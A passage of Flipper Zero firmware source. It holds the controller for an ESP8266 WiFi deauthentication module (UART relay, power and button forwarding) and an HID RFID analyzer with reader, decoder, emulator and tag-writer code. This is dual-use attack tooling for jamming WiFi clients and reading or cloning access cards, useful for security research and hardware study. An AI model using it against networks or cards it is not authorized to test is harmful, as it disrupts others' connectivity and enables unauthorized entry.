DEAUTH_APP_LOG_I("uart_echo_on_irq_cb");
if(ev == UartIrqEventRXNE) {
DEAUTH_APP_LOG_I("ev == UartIrqEventRXNE");
xStreamBufferSendFromISR(app->m_rx_stream, &data, 1, &xHigherPriorityTaskWoken);
furi_thread_flags_set(furi_thread_get_id(app->m_worker_thread), WorkerEventRx);
portYIELD_FROM_ISR(xHigherPriorityTaskWoken);
}
}
static int32_t uart_worker(void* context) {
furi_assert(context);
DEAUTH_APP_LOG_I("[UART] Worker thread init");
SWiFiDeauthApp* app = acquire_mutex((ValueMutex*)context, 25);
if(app == NULL) {
return 1;
}
StreamBufferHandle_t rx_stream = app->m_rx_stream;
release_mutex((ValueMutex*)context, app);
#if ENABLE_MODULE_POWER
bool initialized = false;
string_t receivedString;
string_init(receivedString);
#endif // ENABLE_MODULE_POWER
while(true) {
uint32_t events = furi_thread_flags_wait(
WorkerEventStop | WorkerEventRx, FuriFlagWaitAny, FuriWaitForever);
furi_check((events & FuriFlagError) == 0);
if(events & WorkerEventStop) break;
if(events & WorkerEventRx) {
DEAUTH_APP_LOG_I("[UART] Received data");
SWiFiDeauthApp* app = acquire_mutex((ValueMutex*)context, 25);
if(app == NULL) {
return 1;
}
size_t dataReceivedLength = 0;
int index = 0;
do {
const uint8_t dataBufferSize = 64;
uint8_t dataBuffer[dataBufferSize];
dataReceivedLength =
xStreamBufferReceive(rx_stream, dataBuffer, dataBufferSize, 25);
if(dataReceivedLength > 0) {
#if ENABLE_MODULE_POWER
if(!initialized) {
if(!(dataReceivedLength > strlen(MODULE_CONTEXT_INITIALIZATION))) {
DEAUTH_APP_LOG_I("[UART] Found possible init candidate");
for(uint16_t i = 0; i < dataReceivedLength; i++) {
string_push_back(receivedString, dataBuffer[i]);
}
}
} else
#endif // ENABLE_MODULE_POWER
{
DEAUTH_APP_LOG_I("[UART] Data copied to backbuffer");
memcpy(app->m_backBuffer + index, dataBuffer, dataReceivedLength);
index += dataReceivedLength;
app->m_needUpdateGUI = true;
}
}
} while(dataReceivedLength > 0);
#if ENABLE_MODULE_POWER
if(!app->m_wifiDeauthModuleInitialized) {
if(string_cmp_str(receivedString, MODULE_CONTEXT_INITIALIZATION) == 0) {
DEAUTH_APP_LOG_I("[UART] Initialized");
initialized = true;
app->m_wifiDeauthModuleInitialized = true;
app->m_context = ModuleActive;
string_clear(receivedString);
} else {
DEAUTH_APP_LOG_I("[UART] Not an initialization command");
string_reset(receivedString);
}
}
#endif // ENABLE_MODULE_POWER
release_mutex((ValueMutex*)context, app);
}
}
return 0;
}
int32_t esp8266_deauth_app(void* p) {
UNUSED(p);
DEAUTH_APP_LOG_I("Init");
// FuriTimer* timer = furi_timer_alloc(blink_test_update, FuriTimerTypePeriodic, event_queue);
// furi_timer_start(timer, furi_kernel_get_tick_frequency());
FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(SPluginEvent));
SWiFiDeauthApp* app = malloc(sizeof(SWiFiDeauthApp));
esp8266_deauth_app_init(app);
furi_hal_gpio_init_simple(app->m_GpioButtons.pinButtonUp, GpioModeOutputPushPull);
furi_hal_gpio_init_simple(app->m_GpioButtons.pinButtonDown, GpioModeOutputPushPull);
furi_hal_gpio_init_simple(app->m_GpioButtons.pinButtonOK, GpioModeOutputPushPull);
furi_hal_gpio_init_simple(app->m_GpioButtons.pinButtonBack, GpioModeOutputPushPull);
furi_hal_gpio_write(app->m_GpioButtons.pinButtonUp, true);
furi_hal_gpio_write(app->m_GpioButtons.pinButtonDown, true);
furi_hal_gpio_write(app->m_GpioButtons.pinButtonOK, true);
furi_hal_gpio_write(
app->m_GpioButtons.pinButtonBack, false); // GPIO15 - Boot fails if pulled HIGH
#if ENABLE_MODULE_DETECTION
furi_hal_gpio_init(
&gpio_ext_pc0,
GpioModeInput,
GpioPullUp,
GpioSpeedLow); // Connect to the Flipper's ground just to be sure
//furi_hal_gpio_add_int_callback(pinD0, input_isr_d0, this);
app->m_context = WaitingForModule;
#else
#if ENABLE_MODULE_POWER
app->m_context = Initializing;
furi_hal_power_enable_otg();
#else
app->m_context = ModuleActive;
#endif
#endif // ENABLE_MODULE_DETECTION
ValueMutex app_data_mutex;
if(!init_mutex(&app_data_mutex, app, sizeof(SWiFiDeauthApp))) {
DEAUTH_APP_LOG_E("cannot create mutex\r\n");
free(app);
return 255;
}
DEAUTH_APP_LOG_I("Mutex created");
app->m_rx_stream = xStreamBufferCreate(1 * 1024, 1);
//app->m_notification = furi_record_open("notification");
ViewPort* view_port = view_port_alloc();
view_port_draw_callback_set(view_port, esp8266_deauth_module_render_callback, &app_data_mutex);
view_port_input_callback_set(view_port, esp8266_deauth_module_input_callback, event_queue);
// Open GUI and register view_port
Gui* gui = furi_record_open("gui");
gui_add_view_port(gui, view_port, GuiLayerFullscreen);
//notification_message(app->notification, &sequence_set_only_blue_255);
// Enable uart listener
#if DISABLE_CONSOLE
furi_hal_console_disable();
#endif
furi_hal_uart_set_br(FuriHalUartIdUSART1, FLIPPERZERO_SERIAL_BAUD);
furi_hal_uart_set_irq_cb(FuriHalUartIdUSART1, uart_on_irq_cb, app);
DEAUTH_APP_LOG_I("UART Listener created");
app->m_worker_thread = furi_thread_alloc();
furi_thread_set_name(app->m_worker_thread, "WiFiDeauthModuleUARTWorker");
furi_thread_set_stack_size(app->m_worker_thread, 1 * 1024);
furi_thread_set_context(app->m_worker_thread, &app_data_mutex);
furi_thread_set_callback(app->m_worker_thread, uart_worker);
furi_thread_start(app->m_worker_thread);
DEAUTH_APP_LOG_I("UART thread allocated");
SPluginEvent event;
for(bool processing = true; processing;) {
FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100);
SWiFiDeauthApp* app = (SWiFiDeauthApp*)acquire_mutex_block(&app_data_mutex);
#if ENABLE_MODULE_DETECTION
if(!app->m_wifiDeauthModuleAttached) {
if(furi_hal_gpio_read(&gpio_ext_pc0) == false) {
DEAUTH_APP_LOG_I("Module Attached");
app->m_wifiDeauthModuleAttached = true;
#if ENABLE_MODULE_POWER
app->m_context = Initializing;
furi_hal_power_enable_otg();
#else
app->m_context = ModuleActive;
#endif
}
}
#endif // ENABLE_MODULE_DETECTION
if(event_status == FuriStatusOk) {
if(event.m_type == EventTypeKey) {
if(app->m_wifiDeauthModuleInitialized) {
if(app->m_context == ModuleActive) {
switch(event.m_input.key) {
case InputKeyUp:
if(event.m_input.type == InputTypePress) {
DEAUTH_APP_LOG_I("Up Press");
furi_hal_gpio_write(app->m_GpioButtons.pinButtonUp, false);
} else if(event.m_input.type == InputTypeRelease) {
DEAUTH_APP_LOG_I("Up Release");
furi_hal_gpio_write(app->m_GpioButtons.pinButtonUp, true);
}
break;
case InputKeyDown:
if(event.m_input.type == InputTypePress) {
DEAUTH_APP_LOG_I("Down Press");
furi_hal_gpio_write(app->m_GpioButtons.pinButtonDown, false);
} else if(event.m_input.type == InputTypeRelease) {
DEAUTH_APP_LOG_I("Down Release");
furi_hal_gpio_write(app->m_GpioButtons.pinButtonDown, true);
}
break;
case InputKeyOk:
if(event.m_input.type == InputTypePress) {
DEAUTH_APP_LOG_I("OK Press");
furi_hal_gpio_write(app->m_GpioButtons.pinButtonOK, false);
} else if(event.m_input.type == InputTypeRelease) {
DEAUTH_APP_LOG_I("OK Release");
furi_hal_gpio_write(app->m_GpioButtons.pinButtonOK, true);
}
break;
case InputKeyBack:
if(event.m_input.type == InputTypePress) {
DEAUTH_APP_LOG_I("Back Press");
furi_hal_gpio_write(app->m_GpioButtons.pinButtonBack, false);
} else if(event.m_input.type == InputTypeRelease) {
DEAUTH_APP_LOG_I("Back Release");
furi_hal_gpio_write(app->m_GpioButtons.pinButtonBack, true);
} else if(event.m_input.type == InputTypeLong) {
DEAUTH_APP_LOG_I("Back Long");
processing = false;
}
break;
default:
break;
}
}
} else {
if(event.m_input.key == InputKeyBack) {
if(event.m_input.type == InputTypeShort ||
event.m_input.type == InputTypeLong) {
processing = false;
}
}
}
}
} else {
DEAUTH_APP_LOG_D("osMessageQueue: event timeout");
}
#if ENABLE_MODULE_DETECTION
if(app->m_wifiDeauthModuleAttached && furi_hal_gpio_read(&gpio_ext_pc0) == true) {
DEAUTH_APP_LOG_D("Module Disconnected - Exit");
processing = false;
app->m_wifiDeauthModuleAttached = false;
app->m_wifiDeauthModuleInitialized = false;
}
#endif
view_port_update(view_port);
release_mutex(&app_data_mutex, app);
}
DEAUTH_APP_LOG_I("Start exit app");
furi_thread_flags_set(furi_thread_get_id(app->m_worker_thread), WorkerEventStop);
furi_thread_join(app->m_worker_thread);
furi_thread_free(app->m_worker_thread);
DEAUTH_APP_LOG_I("Thread Deleted");
#if DISABLE_CONSOLE
furi_hal_console_enable();
#endif
//*app->m_originalBufferLocation = app->m_originalBuffer;
view_port_enabled_set(view_port, false);
gui_remove_view_port(gui, view_port);
// Close gui record
furi_record_close("gui");
furi_record_close("notification");
app->m_gui = NULL;
view_port_free(view_port);
furi_message_queue_free(event_queue);
vStreamBufferDelete(app->m_rx_stream);
delete_mutex(&app_data_mutex);
// Free rest
free(app);
DEAUTH_APP_LOG_I("App freed");
#if ENABLE_MODULE_POWER
furi_hal_power_disable_otg();
#endif
return 0;
}

View file

@ -0,0 +1,9 @@
App(
appid="hid_analyzer",
name="HID Analyzer",
apptype=FlipperAppType.PLUGIN,
entry_point="hid_analyzer_app",
cdefines=["APP_HID_ANALYZER"],
stack_size=2 * 1024,
order=40,
)

View file

@ -0,0 +1,98 @@
#include "decoder_hid.h"
#include <furi_hal.h>
constexpr uint32_t clocks_in_us = 64;
constexpr uint32_t jitter_time_us = 20;
constexpr uint32_t min_time_us = 64;
constexpr uint32_t max_time_us = 80;
constexpr uint32_t min_time = (min_time_us - jitter_time_us) * clocks_in_us;
constexpr uint32_t mid_time = ((max_time_us - min_time_us) / 2 + min_time_us) * clocks_in_us;
constexpr uint32_t max_time = (max_time_us + jitter_time_us) * clocks_in_us;
bool DecoderHID::read(uint8_t* data, uint8_t data_size) {
bool result = false;
furi_assert(data_size >= 3);
if(ready) {
result = true;
hid.decode(
reinterpret_cast<const uint8_t*>(&stored_data), sizeof(uint32_t) * 3, data, data_size);
ready = false;
}
return result;
}
void DecoderHID::process_front(bool polarity, uint32_t time) {
if(ready) return;
if(polarity == true) {
last_pulse_time = time;
} else {
last_pulse_time += time;
if(last_pulse_time > min_time && last_pulse_time < max_time) {
bool pulse;
if(last_pulse_time < mid_time) {
// 6 pulses
pulse = false;
} else {
// 5 pulses
pulse = true;
}
if(last_pulse == pulse) {
pulse_count++;
if(pulse) {
if(pulse_count > 4) {
pulse_count = 0;
store_data(1);
}
} else {
if(pulse_count > 5) {
pulse_count = 0;
store_data(0);
}
}
} else {
if(last_pulse) {
if(pulse_count > 2) {
store_data(1);
}
} else {
if(pulse_count > 3) {
store_data(0);
}
}
pulse_count = 0;
last_pulse = pulse;
}
}
}
}
DecoderHID::DecoderHID() {
reset_state();
}
void DecoderHID::store_data(bool data) {
stored_data[0] = (stored_data[0] << 1) | ((stored_data[1] >> 31) & 1);
stored_data[1] = (stored_data[1] << 1) | ((stored_data[2] >> 31) & 1);
stored_data[2] = (stored_data[2] << 1) | data;
if(hid.can_be_decoded(reinterpret_cast<const uint8_t*>(&stored_data), sizeof(uint32_t) * 3)) {
ready = true;
}
}
void DecoderHID::reset_state() {
last_pulse = false;
pulse_count = 0;
ready = false;
last_pulse_time = 0;
}

View file

@ -0,0 +1,24 @@
#pragma once
#include <stdint.h>
#include <atomic>
#include "protocols/protocol_hid.h"
class DecoderHID {
public:
bool read(uint8_t* data, uint8_t data_size);
void process_front(bool polarity, uint32_t time);
DecoderHID();
private:
uint32_t last_pulse_time = 0;
bool last_pulse;
uint8_t pulse_count;
uint32_t stored_data[3] = {0, 0, 0};
void store_data(bool data);
std::atomic<bool> ready;
void reset_state();
ProtocolHID hid;
};

View file

@ -0,0 +1,143 @@
#include "hid_reader.h"
#include <furi.h>
#include <furi_hal.h>
#include <stm32wbxx_ll_cortex.h>
/**
* @brief private violation assistant for HIDReader
*/
struct HIDReaderAccessor {
static void decode(HIDReader& hid_reader, bool polarity) {
hid_reader.decode(polarity);
}
};
void HIDReader::decode(bool polarity) {
uint32_t current_dwt_value = DWT->CYCCNT;
uint32_t period = current_dwt_value - last_dwt_value;
last_dwt_value = current_dwt_value;
decoder_hid.process_front(polarity, period);
detect_ticks++;
}
bool HIDReader::switch_timer_elapsed() {
const uint32_t seconds_to_switch = furi_kernel_get_tick_frequency() * 2.0f;
return (furi_get_tick() - switch_os_tick_last) > seconds_to_switch;
}
void HIDReader::switch_timer_reset() {
switch_os_tick_last = furi_get_tick();
}
void HIDReader::switch_mode() {
switch(type) {
case Type::Normal:
type = Type::Indala;
furi_hal_rfid_change_read_config(62500.0f, 0.25f);
break;
case Type::Indala:
type = Type::Normal;
furi_hal_rfid_change_read_config(125000.0f, 0.5f);
break;
}
switch_timer_reset();
}
static void comparator_trigger_callback(bool level, void* comp_ctx) {
HIDReader* _this = static_cast<HIDReader*>(comp_ctx);
HIDReaderAccessor::decode(*_this, !level);
}
HIDReader::HIDReader() {
}
void HIDReader::start() {
type = Type::Normal;
furi_hal_rfid_pins_read();
furi_hal_rfid_tim_read(125000, 0.5);
furi_hal_rfid_tim_read_start();
start_comparator();
switch_timer_reset();
last_read_count = 0;
}
void HIDReader::start_forced(HIDReader::Type _type) {
start();
if(_type == Type::Indala) {
switch_mode();
}
}
void HIDReader::stop() {
furi_hal_rfid_pins_reset();
furi_hal_rfid_tim_read_stop();
furi_hal_rfid_tim_reset();
stop_comparator();
}
bool HIDReader::read(LfrfidKeyType* _type, uint8_t* data, uint8_t data_size, bool switch_enable) {
bool result = false;
bool something_read = false;
if(decoder_hid.read(data, data_size)) {
*_type = LfrfidKeyType::KeyH10301; // should be an OK temp
something_read = true;
}
// validation
if(something_read) {
switch_timer_reset();
if(last_read_type == *_type && memcmp(last_read_data, data, data_size) == 0) {
last_read_count = last_read_count + 1;
if(last_read_count > 2) {
result = true;
}
} else {
last_read_type = *_type;
memcpy(last_read_data, data, data_size);
last_read_count = 0;
}
}
// mode switching
if(switch_enable && switch_timer_elapsed()) {
switch_mode();
last_read_count = 0;
}
return result;
}
bool HIDReader::detect() {
bool detected = false;
if(detect_ticks > 10) {
detected = true;
}
detect_ticks = 0;
return detected;
}
bool HIDReader::any_read() {
return last_read_count > 0;
}
void HIDReader::start_comparator(void) {
furi_hal_rfid_comp_set_callback(comparator_trigger_callback, this);
last_dwt_value = DWT->CYCCNT;
furi_hal_rfid_comp_start();
}
void HIDReader::stop_comparator(void) {
furi_hal_rfid_comp_stop();
furi_hal_rfid_comp_set_callback(NULL, NULL);
}

View file

@ -0,0 +1,47 @@
#pragma once
#include "decoder_hid.h"
#include "key_info.h"
//#define RFID_GPIO_DEBUG 1
class HIDReader {
public:
enum class Type : uint8_t {
Normal,
Indala,
};
HIDReader();
void start();
void start_forced(HIDReader::Type type);
void stop();
bool read(LfrfidKeyType* _type, uint8_t* data, uint8_t data_size, bool switch_enable = true);
bool detect();
bool any_read();
private:
friend struct HIDReaderAccessor;
DecoderHID decoder_hid;
uint32_t last_dwt_value;
void start_comparator(void);
void stop_comparator(void);
void decode(bool polarity);
uint32_t detect_ticks;
uint32_t switch_os_tick_last;
bool switch_timer_elapsed();
void switch_timer_reset();
void switch_mode();
LfrfidKeyType last_read_type;
uint8_t last_read_data[LFRFID_KEY_SIZE];
uint8_t last_read_count;
Type type = Type::Normal;
};

View file

@ -0,0 +1,38 @@
#include "hid_worker.h"
HIDWorker::HIDWorker() {
}
HIDWorker::~HIDWorker() {
}
void HIDWorker::start_read() {
reader.start();
}
bool HIDWorker::read() {
static const uint8_t data_size = LFRFID_KEY_SIZE;
uint8_t data[data_size] = {0};
LfrfidKeyType type;
bool result = reader.read(&type, data, data_size);
if(result) {
key.set_type(type);
key.set_data(data, data_size);
};
return result;
}
bool HIDWorker::detect() {
return reader.detect();
}
bool HIDWorker::any_read() {
return reader.any_read();
}
void HIDWorker::stop_read() {
reader.stop();
}

View file

@ -0,0 +1,21 @@
#pragma once
#include "key_info.h"
#include "rfid_key.h"
#include "hid_reader.h"
class HIDWorker {
public:
HIDWorker();
~HIDWorker();
void start_read();
bool read();
bool detect();
bool any_read();
void stop_read();
RfidKey key;
private:
HIDReader reader;
};

View file

@ -0,0 +1,16 @@
#pragma once
#include <stdint.h>
static const uint8_t LFRFID_KEY_SIZE = 8;
static const uint8_t LFRFID_KEY_NAME_SIZE = 22;
enum class LfrfidKeyType : uint8_t {
KeyEM4100,
KeyH10301,
KeyI40134,
};
const char* lfrfid_key_get_type_string(LfrfidKeyType type);
const char* lfrfid_key_get_manufacturer_string(LfrfidKeyType type);
bool lfrfid_key_get_string_type(const char* string, LfrfidKeyType* type);
uint8_t lfrfid_key_get_type_data_count(LfrfidKeyType type);

View file

@ -0,0 +1,30 @@
#pragma once
#include <stdint.h>
/**
* This code tries to fit the periods into a given number of cycles (phases) by taking cycles from the next cycle of periods.
*/
class OscFSK {
public:
/**
* Get next period
* @param bit bit value
* @param period return period
* @return bool whether to advance to the next bit
*/
bool next(bool bit, uint16_t* period);
/**
* FSK ocillator constructor
*
* @param freq_low bit 0 freq
* @param freq_hi bit 1 freq
* @param osc_phase_max max oscillator phase
*/
OscFSK(uint16_t freq_low, uint16_t freq_hi, uint16_t osc_phase_max);
private:
const uint16_t freq[2];
const uint16_t osc_phase_max;
int32_t osc_phase_current;
};

View file

@ -0,0 +1,60 @@
#pragma once
#include "stdint.h"
#include "stdbool.h"
class ProtocolGeneric {
public:
/**
* @brief Get the encoded data size
*
* @return uint8_t size of encoded data in bytes
*/
virtual uint8_t get_encoded_data_size() = 0;
/**
* @brief Get the decoded data size
*
* @return uint8_t size of decoded data in bytes
*/
virtual uint8_t get_decoded_data_size() = 0;
/**
* @brief encode decoded data
*
* @param decoded_data
* @param decoded_data_size
* @param encoded_data
* @param encoded_data_size
*/
virtual void encode(
const uint8_t* decoded_data,
const uint8_t decoded_data_size,
uint8_t* encoded_data,
const uint8_t encoded_data_size) = 0;
/**
* @brief decode encoded data
*
* @param encoded_data
* @param encoded_data_size
* @param decoded_data
* @param decoded_data_size
*/
virtual void decode(
const uint8_t* encoded_data,
const uint8_t encoded_data_size,
uint8_t* decoded_data,
const uint8_t decoded_data_size) = 0;
/**
* @brief fast check that data can be correctly decoded
*
* @param encoded_data
* @param encoded_data_size
* @return true - can be correctly decoded
* @return false - cannot be correctly decoded
*/
virtual bool can_be_decoded(const uint8_t* encoded_data, const uint8_t encoded_data_size) = 0;
virtual ~ProtocolGeneric(){};
};

View file

@ -0,0 +1,155 @@
#include "protocol_hid.h"
#include <furi.h>
typedef uint32_t HIDCardData;
constexpr uint8_t HIDCount = 3;
constexpr uint8_t HIDBitSize = sizeof(HIDCardData) * 8;
uint8_t ProtocolHID::get_encoded_data_size() {
return sizeof(HIDCardData) * HIDCount;
}
uint8_t ProtocolHID::get_decoded_data_size() {
return 3;
}
void ProtocolHID::encode(
const uint8_t* decoded_data,
const uint8_t decoded_data_size,
uint8_t* encoded_data,
const uint8_t encoded_data_size) {
UNUSED(decoded_data);
UNUSED(decoded_data_size);
UNUSED(encoded_data);
UNUSED(encoded_data_size);
// bob!
}
void ProtocolHID::decode(
const uint8_t* encoded_data,
const uint8_t encoded_data_size,
uint8_t* decoded_data,
const uint8_t decoded_data_size) {
furi_check(decoded_data_size >= get_decoded_data_size());
furi_check(encoded_data_size >= get_encoded_data_size());
// header check
int16_t second1pos = find_second_1(encoded_data);
if((*(encoded_data + 1) & 0b1100) != 0x08) {
*decoded_data = 37;
} else {
*decoded_data = (36 - (second1pos - 8));
}
}
int16_t ProtocolHID::find_second_1(const uint8_t* encoded_data) {
if((*(encoded_data + 1) & 0b11) == 0b10) {
return 8;
} else {
for(int8_t i = 3; i >= 0; i--) {
if(((*(encoded_data + 0) >> (2 * i)) & 0b11) == 0b10) {
return (12 - i);
}
}
for(int8_t i = 3; i >= 0; i--) {
if(((*(encoded_data + 7) >> (2 * i)) & 0b11) == 0b10) {
return (16 - i);
}
}
for(int8_t i = 3; i >= 2; i--) {
if(((*(encoded_data + 6) >> (2 * i)) & 0b11) == 0b10) {
return (20 - i);
}
}
}
return -1;
}
bool ProtocolHID::can_be_decoded(const uint8_t* encoded_data, const uint8_t encoded_data_size) {
furi_check(encoded_data_size >= get_encoded_data_size());
const HIDCardData* card_data = reinterpret_cast<const HIDCardData*>(encoded_data);
// header check
int16_t second1pos = -1;
// packet pre-preamble
if(*(encoded_data + 3) != 0x1D) {
return false;
}
// packet preamble
if(*(encoded_data + 2) != 0x55) { // first four 0s mandatory in preamble
return false;
}
if((*(encoded_data + 1) & 0xF0) != 0x50) { // next two 0s mandatory in preamble
return false;
}
if((*(encoded_data + 1) & 0b1100) != 0x08) { // if it's not a 1...
// either it's a 37-bit or invalid
// so just continue with the manchester encoding checks
} else { // it is a 1. so it could be anywhere between 26 and 36 bit encoding. or invalid.
// we need to find the location of the second 1
second1pos = find_second_1(encoded_data);
}
if(second1pos == -1) {
// we're 37 bit or invalid
}
// data decoding. ensure all is properly manchester encoded
uint32_t result = 0;
// decode from word 0
// coded with 01 = 0, 10 = 1 transitions
for(int8_t i = 11; i >= 0; i--) {
switch((*(card_data + 0) >> (2 * i)) & 0b11) {
case 0b01:
result = (result << 1) | 0;
break;
case 0b10:
result = (result << 1) | 1;
break;
default:
return false;
break;
}
}
// decode from word 1
// coded with 01 = 0, 10 = 1 transitions
for(int8_t i = 15; i >= 0; i--) {
switch((*(card_data + 1) >> (2 * i)) & 0b11) {
case 0b01:
result = (result << 1) | 0;
break;
case 0b10:
result = (result << 1) | 1;
break;
default:
return false;
break;
}
}
// decode from word 2
// coded with 01 = 0, 10 = 1 transitions
for(int8_t i = 15; i >= 0; i--) {
switch((*(card_data + 2) >> (2 * i)) & 0b11) {
case 0b01:
result = (result << 1) | 0;
break;
case 0b10:
result = (result << 1) | 1;
break;
default:
return false;
break;
}
}
return true;
}

View file

@ -0,0 +1,25 @@
#pragma once
#include "protocol_generic.h"
class ProtocolHID : public ProtocolGeneric {
public:
uint8_t get_encoded_data_size() final;
uint8_t get_decoded_data_size() final;
void encode(
const uint8_t* decoded_data,
const uint8_t decoded_data_size,
uint8_t* encoded_data,
const uint8_t encoded_data_size) final;
void decode(
const uint8_t* encoded_data,
const uint8_t encoded_data_size,
uint8_t* decoded_data,
const uint8_t decoded_data_size) final;
bool can_be_decoded(const uint8_t* encoded_data, const uint8_t encoded_data_size) final;
private:
int16_t find_second_1(const uint8_t* encoded_data);
};

View file

@ -0,0 +1,36 @@
#pragma once
#include "stdint.h"
class PulseJoiner {
public:
/**
* @brief Push timer pulse. First negative pulse is ommited.
*
* @param polarity pulse polarity: true = high2low, false = low2high
* @param period overall period time in timer clicks
* @param pulse pulse time in timer clicks
*
* @return true - next pulse can and must be popped immediatly
*/
bool push_pulse(bool polarity, uint16_t period, uint16_t pulse);
/**
* @brief Get the next timer pulse. Call only if push_pulse returns true.
*
* @param period overall period time in timer clicks
* @param pulse pulse time in timer clicks
*/
void pop_pulse(uint16_t* period, uint16_t* pulse);
PulseJoiner();
private:
struct Pulse {
bool polarity;
uint16_t time;
};
uint8_t pulse_index = 0;
static const uint8_t pulse_max = 6;
Pulse pulses[pulse_max];
};

View file

@ -0,0 +1,27 @@
#pragma once
#include "key_info.h"
#include <array>
class RfidKey {
public:
RfidKey();
~RfidKey();
void set_type(LfrfidKeyType type);
void set_data(const uint8_t* data, const uint8_t data_size);
void set_name(const char* name);
LfrfidKeyType get_type();
const uint8_t* get_data();
const char* get_type_text();
uint8_t get_type_data_count() const;
char* get_name();
uint8_t get_name_length();
void clear();
RfidKey& operator=(const RfidKey& rhs);
private:
std::array<uint8_t, LFRFID_KEY_SIZE> data;
LfrfidKeyType type;
char name[LFRFID_KEY_NAME_SIZE + 1];
};

View file

@ -0,0 +1,29 @@
#pragma once
#include <furi_hal.h>
#include "key_info.h"
#include "encoder_generic.h"
#include "encoder_emmarin.h"
#include "encoder_hid_h10301.h"
#include "encoder_indala_40134.h"
#include "pulse_joiner.h"
#include <map>
class RfidTimerEmulator {
public:
RfidTimerEmulator();
~RfidTimerEmulator();
void start(LfrfidKeyType type, const uint8_t* data, uint8_t data_size);
void stop();
private:
EncoderGeneric* current_encoder = nullptr;
std::map<LfrfidKeyType, EncoderGeneric*> encoders = {
{LfrfidKeyType::KeyEM4100, new EncoderEM()},
{LfrfidKeyType::KeyH10301, new EncoderHID_H10301()},
{LfrfidKeyType::KeyI40134, new EncoderIndala_40134()},
};
PulseJoiner pulse_joiner;
static void timer_update_callback(void* ctx);
};

View file

@ -0,0 +1,20 @@
#pragma once
#include "stdint.h"
class RfidWriter {
public:
RfidWriter();
~RfidWriter();
void start();
void stop();
void write_em(const uint8_t em_data[5]);
void write_hid(const uint8_t hid_data[3]);
void write_indala(const uint8_t indala_data[3]);
private:
void write_gap(uint32_t gap_time);
void write_bit(bool value);
void write_byte(uint8_t value);
void write_block(uint8_t page, uint8_t block, bool lock_bit, uint32_t data);
void write_reset();
};

View file

@ -0,0 +1,25 @@
#pragma once
#include "stdint.h"
#include <list>
#include <functional>
class TickSequencer {
public:
TickSequencer();
~TickSequencer();
void tick();
void reset();
void clear();
void do_every_tick(uint32_t tick_count, std::function<void(void)> fn);
void do_after_tick(uint32_t tick_count, std::function<void(void)> fn);
private:
std::list<std::pair<uint32_t, std::function<void(void)> > > list;
std::list<std::pair<uint32_t, std::function<void(void)> > >::iterator list_it;
uint32_t tick_count;
void do_nothing();
};

View file

@ -0,0 +1,22 @@
#include "hid_analyzer_app.h"
#include "scene/hid_analyzer_app_scene_read.h"
#include "scene/hid_analyzer_app_scene_read_success.h"
HIDApp::HIDApp()
: scene_controller{this}
, notification{"notification"}
, storage{"storage"}
, dialogs{"dialogs"}
, text_store(40) {
}
HIDApp::~HIDApp() {
}
void HIDApp::run(void* _args) {
UNUSED(_args);
scene_controller.add_scene(SceneType::Read, new HIDAppSceneRead());
scene_controller.add_scene(SceneType::ReadSuccess, new HIDAppSceneReadSuccess());
scene_controller.process(100, SceneType::Read);
}

View file

@ -0,0 +1,65 @@
#pragma once
#include <furi.h>
#include <furi_hal.h>
#include <generic_scene.hpp>
#include <scene_controller.hpp>
#include <view_controller.hpp>
#include <record_controller.hpp>
#include <text_store.h>
#include <view_modules/submenu_vm.h>
#include <view_modules/popup_vm.h>
#include <view_modules/dialog_ex_vm.h>
#include <view_modules/text_input_vm.h>
#include <view_modules/byte_input_vm.h>
#include "view/container_vm.h"
#include <notification/notification_messages.h>
#include <storage/storage.h>
#include <dialogs/dialogs.h>
#include "helpers/hid_worker.h"
class HIDApp {
public:
enum class EventType : uint8_t {
GENERIC_EVENT_ENUM_VALUES,
Next,
MenuSelected,
Stay,
Retry,
};
enum class SceneType : uint8_t {
GENERIC_SCENE_ENUM_VALUES,
Read,
ReadSuccess,
};
class Event {
public:
union {
int32_t menu_index;
} payload;
EventType type;
};
HIDApp();
~HIDApp();
void run(void* args);
// private:
SceneController<GenericScene<HIDApp>, HIDApp> scene_controller;
ViewController<HIDApp, SubmenuVM, PopupVM, DialogExVM, TextInputVM, ByteInputVM, ContainerVM>
view_controller;
RecordController<NotificationApp> notification;
RecordController<Storage> storage;
RecordController<DialogsApp> dialogs;
TextStore text_store;
HIDWorker worker;
};

View file

@ -0,0 +1,10 @@
#include "hid_analyzer_app.h"
// app enter function
extern "C" int32_t hid_analyzer_app(void* args) {
HIDApp* app = new HIDApp();
app->run(args);
delete app;
return 0;
}

View file

@ -0,0 +1,40 @@
#include "hid_analyzer_app_scene_read.h"
#include <dolphin/dolphin.h>
void HIDAppSceneRead::on_enter(HIDApp* app, bool /* need_restore */) {
auto popup = app->view_controller.get<PopupVM>();
DOLPHIN_DEED(DolphinDeedRfidRead);
popup->set_header("Searching for\nLF HID RFID", 89, 34, AlignCenter, AlignTop);
popup->set_icon(0, 3, &I_RFIDDolphinReceive_97x61);
app->view_controller.switch_to<PopupVM>();
app->worker.start_read();
}
bool HIDAppSceneRead::on_event(HIDApp* app, HIDApp::Event* event) {
bool consumed = false;
if(event->type == HIDApp::EventType::Tick) {
if(app->worker.read()) {
DOLPHIN_DEED(DolphinDeedRfidReadSuccess);
notification_message(app->notification, &sequence_success);
app->scene_controller.switch_to_next_scene(HIDApp::SceneType::ReadSuccess);
} else {
if(app->worker.any_read()) {
notification_message(app->notification, &sequence_blink_green_10);
} else if(app->worker.detect()) {
notification_message(app->notification, &sequence_blink_cyan_10);
} else {
notification_message(app->notification, &sequence_blink_cyan_10);
}
}
}
return consumed;
}
void HIDAppSceneRead::on_exit(HIDApp* app) {
app->view_controller.get<PopupVM>()->clean();
app->worker.stop_read();
}

View file

@ -0,0 +1,9 @@
#pragma once
#include "../hid_analyzer_app.h"
class HIDAppSceneRead : public GenericScene<HIDApp> {
public:
void on_enter(HIDApp* app, bool need_restore) final;
bool on_event(HIDApp* app, HIDApp::Event* event) final;
void on_exit(HIDApp* app) final;
};

View file

@ -0,0 +1,78 @@
#include "hid_analyzer_app_scene_read_success.h"
#include "../view/elements/button_element.h"
#include "../view/elements/icon_element.h"
#include "../view/elements/string_element.h"
void HIDAppSceneReadSuccess::on_enter(HIDApp* app, bool /* need_restore */) {
string_init(string[0]);
string_init(string[1]);
string_init(string[2]);
auto container = app->view_controller.get<ContainerVM>();
auto button = container->add<ButtonElement>();
button->set_type(ButtonElement::Type::Left, "Retry");
button->set_callback(app, HIDAppSceneReadSuccess::back_callback);
auto icon = container->add<IconElement>();
icon->set_icon(3, 12, &I_RFIDBigChip_37x36);
auto header = container->add<StringElement>();
